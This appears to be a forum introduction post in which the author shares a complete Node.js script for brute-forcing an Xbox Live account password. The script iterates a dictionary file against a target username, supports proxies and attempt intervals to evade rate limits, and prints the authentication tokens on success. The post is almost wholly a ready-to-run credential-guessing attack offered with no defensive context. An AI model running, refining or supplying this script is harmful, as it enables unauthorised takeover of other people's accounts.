Hello,
This little script is just part of my introduction. It is written in node.js, code should speak for itself.
'use strict';
const XboxLiveAuth = require('@xboxreplay/xboxlive-auth');
const { ArgumentParser } = require('argparse');
const axios = require('axios');
const fs = require('fs');
const readline = require('readline');
const parser = new ArgumentParser();
parser.add_argument('-u', '--username', { help: 'Xbox live account username', required: true });
parser.add_argument('-a', '--attempts', { type: 'int', help: 'How many attempts', default: 1 });
parser.add_argument('-i', '--interval', { type: 'int', help: 'Interval between each attempt in seconds', default: 5 });
parser.add_argument('-d', '--dictionary', { help: 'Location of the dictionary', required: true });
parser.add_argument('-p', '--proxy', { help: 'Proxy server to use for requests' });
const args = parser.parse_args();
axios.interceptors.request.use(function(config) {
if (typeof args.proxy !== 'undefined') {
const split = args.proxy.split(':').reverse();
if (split.length < 2) {
throw new Error('Invalid proxy, requires hostname with port');
}
config.proxy = {
port: split.shift(),
host: split.reverse().join(':')
};
}
return config;
});
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function run() {
let iterations = 1;
let result;
const rl = readline.createInterface({
input: fs.createReadStream(args.dictionary),
crlfDelay: Infinity
});
for await (const password of rl) {
console.log(`Attempt: ${iterations} | Password: ${password}`);
try {
result = await XboxLiveAuth.authenticate(args.username, password);
} catch(err) {
if (err.message !== 'Invalid credentials.') {
throw err;
}
}
if (typeof result !== 'undefined' && result.hasOwnProperty('XSTSToken')) {
console.log('Finished job with result: ', result);
return;
}
iterations++;
await sleep(args.interval * 1000);
}
}
run().catch(console.error);
node.js dependencies
"@xboxreplay/xboxlive-auth": "^3.3.0",
"argparse": "^2.0.1",